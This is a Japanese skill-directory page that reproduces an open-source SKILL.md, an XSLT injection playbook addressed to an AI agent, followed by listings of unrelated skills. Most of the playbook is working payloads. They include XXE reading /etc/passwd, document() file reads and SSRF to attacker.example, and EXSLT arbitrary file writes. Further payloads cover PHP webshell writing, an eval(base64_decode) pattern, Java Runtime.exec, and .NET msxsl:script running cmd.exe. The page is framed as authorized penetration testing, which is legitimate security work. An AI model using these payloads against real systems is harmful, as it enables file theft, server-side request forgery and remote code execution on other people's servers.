Agent Skills by ALSEL
Anthropic Claudeその他⭐ リポ 0品質スコア 50/100

xslt-injection

ユーザーが制御可能なXSLTやスタイルシートの入力、またはトランスフォームエンドポイントが対象となる場合に使用するスキルで、プロセッサのフィンガープリント取得、XXEおよびdocument()によるSSRF、EXSLTの書き込みプリミティブ、PHP/Java/.NETの拡張機能を悪用したRCEなど、XSLTインジェクションに関する包括的なテストを実施します。

description の原文を見る

>- XSLT injection testing: processor fingerprinting, XXE and document() SSRF, EXSLT write primitives, PHP/Java/.NET extension RCE surfaces. Use when user-controlled XSLT/stylesheet input or transform endpoints are in scope.

SKILL.md 本文

SKILL: XSLT インジェクション — テストプレイブック

AI LOAD INSTRUCTION: XSLT インジェクションは、攻撃者が影響を与えた XSLT がサーバー側でコンパイル/実行される場合に発生します。まず プロセッサファミリー (Java/.NET/PHP/libxslt) をマッピングしてください。その後、プラットフォームごとに document()外部エンティティEXSLT、または 組み込みスクリプト/拡張関数 をチェーンします。認可されたテストのみ; 多くのペイロードは破壊的です。ルーティングノート: 入力がジェネリック XML 解析でありXSLTを通さない可能性がある場合、xxe-xml-external-entity をクロスロードしてください; アウトバウンド document(http:...) リクエストに関心がある場合、ssrf-server-side-request-forgery をクロスロードしてください。


0. クイックスタート

  1. シンク検出: xsltstylesheettransformtemplate、SOAP スタイルシート、レポートジェネレータ、XML→HTML コンバータという名前のパラメータを探します。
  2. リフレクションプロープ: 一意の名前空間または xsl:value-of select="'marker'" をインジェクトします — 出力が変わる場合、実行の可能性が高いです。
  3. プロセッサをフィンガープリント (§1)。
  4. ファミリー別にエスカレート: document() / XXE (§2–3)、EXSLT write (§4)、PHP (§5)、Java (§6)、.NET (§7)。

クイックプローブ (無害なマーカー):

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:value-of select="'XSLT_PROBE_OK'"/>
  </xsl:template>
</xsl:stylesheet>

1. ベンダー検出

式内で標準的な system-property 読み込みを使用します:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:text>vendor=</xsl:text><xsl:value-of select="system-property('xsl:vendor')"/>
    <xsl:text>&#10;version=</xsl:text><xsl:value-of select="system-property('xsl:version')"/>
    <xsl:text>&#10;vendor-url=</xsl:text><xsl:value-of select="system-property('xsl:vendor-url')"/>
  </xsl:template>
</xsl:stylesheet>

典型的なフィンガープリント (例であり、網羅的ではありません):

シグナル可能なエンジン
Apache Software Foundation / Xalan マーカーXalan (Java)
Saxonica / Saxon URI ヒントSaxon
libxslt / GNOME スタックlibxslt (C、多くの場合 PHP、nginx モジュール経由)
Microsoft URL / MSXML 文字列MSXML / .NET XSLT スタック

結果を使用して §5–§7 パスを選択します。


2. 外部エンティティ (XSLT 経由の XXE)

XSLT 1.0 では、パーサーが DTD を許可する場合、スタイルシートまたはソース内で DTD ベースのエンティティ が許可されます:

<!DOCTYPE xsl:stylesheet [
  <!ENTITY ext_file SYSTEM "file:///etc/passwd">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:value-of select="'ENTITY_START'"/>
    <xsl:value-of select="&ext_file;"/>
    <xsl:value-of select="'ENTITY_END'"/>
  </xsl:template>
</xsl:stylesheet>

注意: 強化されたパーサーは外部 DTD を無効にします — ここでの失敗は他の XSLT ベクトルを否定しません (§3 を参照)。


3. document() 経由のファイル読み取り

document() は別の XML ドキュメントをノードセットにロードします; ローカルファイルは XML として解析されることがあります (ノイズが多い) が、エラーと部分的な読み取り でもリークする可能性があります。

Unix の例:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:copy-of select="document('/etc/passwd')"/>
  </xsl:template>
</xsl:stylesheet>

Windows の例:

<xsl:copy-of select="document('file:///c:/windows/win.ini')"/>

SSRF / アウトオブバンド:

<xsl:copy-of select="document('http://attacker.example/ssrf')"/>

インラインデータがクライアントに戻らない場合、エラーベース または タイミング 観測とチェーンします。


4. EXSLT (exslt:document) 経由のファイル書き込み

EXSLT common 拡張が有効な場合:

<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common"
  extension-element-prefixes="exploit">
  <xsl:template match="/">
    <exploit:document href="/tmp/evil.txt" method="text">
      <xsl:text>PROOF_CONTENT</xsl:text>
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

影響: パス権限が許可する任意のファイル書き込み — 多くの場合、webroot、cron パス、またはインクルッションポイント経由で RCE


5. PHP (php:function) 経由の RCE

registerPHPFunctions() スタイルの公開を備えた PHP XSLT が必要です (アプリケーションの設定ミス)。名前空間:

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:php="http://php.net/xsl">
  <xsl:output method="text"/>
  <xsl:template match="/">
    <xsl:value-of select="php:function('readfile','index.php')"/>
  </xsl:template>
</xsl:stylesheet>

ディレクトリリスト:

<xsl:value-of select="php:function('scandir','.')"/>

危険なパターン (履歴的な悪用 — ラボでのみ確認):

  • php:function('assert', string($payload)) — 環境に依存、多くの場合非推奨/削除; 古いアプリの include/require とチェーン。
  • php:function('file_put_contents','/var/www/shell.php','<?php ...') — 呼び出し可能が無分別にホワイトリストされた場合の webシェル書き込み
  • preg_replace with /e modifier (レガシー PHP) — 置換文字列は PHP として評価; metasploit スタイルのチェーンは多くの場合、blob の base64_decode でラップされて meterpreter (またはその他の) ステージ化されたペイロードをスムーズに送出します。PHP 7+ で削除; 古いランタイムのみ関連。

レガシー PHP 同等物 (illustrates the /e + base64 パターン — ラボのみ):

preg_replace('/.*/e', 'eval(base64_decode("BASE64_PHP_HERE"));', '', 1);

XSLT 表面は php:function がユーザースタイルシートに preg_replace を公開する場合のみ (まれ + 重大な設定ミス)。

テスター注: 現代的な PHP 強化はしばしば これらをブロック; RCE の不在は document() / XXE を削除しません。


6. JAVA (SAXON / XALAN 拡張機能) 経由の RCE

Java エンジンは、静的メソッドにマップする 拡張関数 を公開する可能性があります。例は履歴的なアドバイザリに表示されます; 正確な構文は バージョンと拡張バインディング に依存します。

説明的なパターン (概念的 — 許可された拡張名前空間と API に調整):

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
  <xsl:template match="/">
    <xsl:variable name="rtobject" select="rt:getRuntime()"/>
    <xsl:value-of select="rt:exec($rtobject,'/bin/sh -c id')"/>
  </xsl:template>
</xsl:stylesheet>

Saxon スタイル静的 Java 統合 (構成に大きく依存):

Runtime:exec(Runtime:getRuntime(), 'cmd.exe /C ping 192.0.2.1')

192.0.2.1 をあなたのラボリスナー / ドキュメント IP (RFC 5737 TEST-NET) に置き換えます。

運用ガイダンス: 拡張機能が無効な場合 (一般的なセキュアなデフォルト)、document()、SSRF、または別の場所の deserialization にピボットします — すべての XSLT エンドポイントが拡張機能をオンで実行するわけではありません。


7. .NET (msxsl:script) 経由の RCE

Microsoft XSLT スクリプトブロック が許可される場合:

<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:msxsl="urn:schemas-microsoft-com:xslt"
    extension-element-prefixes="msxsl">
  <msxsl:script language="C#" implements-prefix="user">
    <![CDATA[
    public string xexec() {
      System.Diagnostics.Process.Start("cmd.exe", "/c whoami");
      return "ok";
    }
    ]]>
  </msxsl:script>
  <xsl:template match="/">
    <xsl:value-of select="user:xexec()"/>
  </xsl:template>
</xsl:stylesheet>

デフォルトセキュア設定 はしばしばスクリプトを無効にします — これを 有効な場合 の動作として扱います。


8. デシジョンツリー

                    ユーザーが XSLT または XML 変換に影響を与えるか?
                                    |
                                   NO --> 停止 (スコープ外)
                                    |
                                   YES
                                    |
                    +---------------+---------------+
                    |                               |
             インジェクト                      リフレクション
             ロジックを出力に反映               なし
             するか?                         ブラインドチャネル
                    |                         を試す
                    v                               |
            system-property()                       v
            ベンダーをフィンガープリント        エラー、OOB、タイミング
                    |                               |
        +-----------+-----------+                   |
        |           |           |                   |
      libxslt     Java        .NET              document()
        |           |           |                   |
    document()   Saxon/Xalan  msxsl:script?      SSRF/ファイル
    EXSLT write  拡張機能?        |                   |
        |           |           C# Process         EXSLT?
        v           v           v                   v
    ファイル R/W   rt/exec      cmd.exe /c        証拠をマッピング

Payloads All The Things (PAT) ノート

PayloadsAllTheThings プロジェクトは多くのインジェクションクラスを文書化しており; XSLT については、メンテナーノートが SQLi/XSS ツールチェーンに匹敵する専用のメンテナンスツールセクション がないことを示しています — エクスプロイテーションは プロセッサと設定に固有 であり、プロキシ/手動ペイロードとカスタムスクリプトによって駆動されます。可能な場合、ターゲットと同じエンジン/バージョンで ローカルラボ再現 の時間を計画してください。


ツール (実用的)

カテゴリ
プロキシ / 手動Burp Suite、OWASP ZAP — スタイルシートペイロードを再生、レスポンスとエラーを観察
XML/XSLT ラボ確実なプロセッサ (PHP libxslt、Java Saxon バージョン、.NET フレームワーク) を VM で一致させる
アウトオブバンドCollaborator / プライベートコールバックサーバー document('http://…')

単一の汎用スキャナーは バージョン固有 の動作検証を代替しません。


関連

  • xxe-xml-external-entity — DTD/エンティティ強化、ジェネリック XML パーサー (../xxe-xml-external-entity/SKILL.md)。
  • ssrf-server-side-request-forgerydocument(http:…) またはエンティティ URL がサーバーフェッチを引き起こす場合 (../ssrf-server-side-request-forgery/SKILL.md)。

ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ

詳細情報

作者
yaklang
リポジトリ
yaklang/hack-skills
ライセンス
MIT
最終更新
不明

Source: https://github.com/yaklang/hack-skills / ライセンス: MIT

関連スキル

汎用その他⭐ リポ 1,982

superfluid

Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper

by LeoYeAI
汎用その他⭐ リポ 100

civ-finish-quotes

実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。

by huxiuhan
汎用その他⭐ リポ 1,110

nookplot

Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。

by BankrBot
汎用その他⭐ リポ 59

web3-polymarket

Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。

by elophanto
汎用その他⭐ リポ 52

ethskills

Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。

by jiayaoqijia
汎用その他⭐ リポ 44

xxyy-trade

このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。

by Jimmy-Holiday
本サイトは GitHub 上で公開されているオープンソースの SKILL.md ファイルをクロール・インデックス化したものです。 各スキルの著作権は原作者に帰属します。掲載に問題がある場合は info@alsel.co.jp または /takedown フォームよりご連絡ください。
原作者: yaklang · yaklang/hack-skills · ライセンス: MIT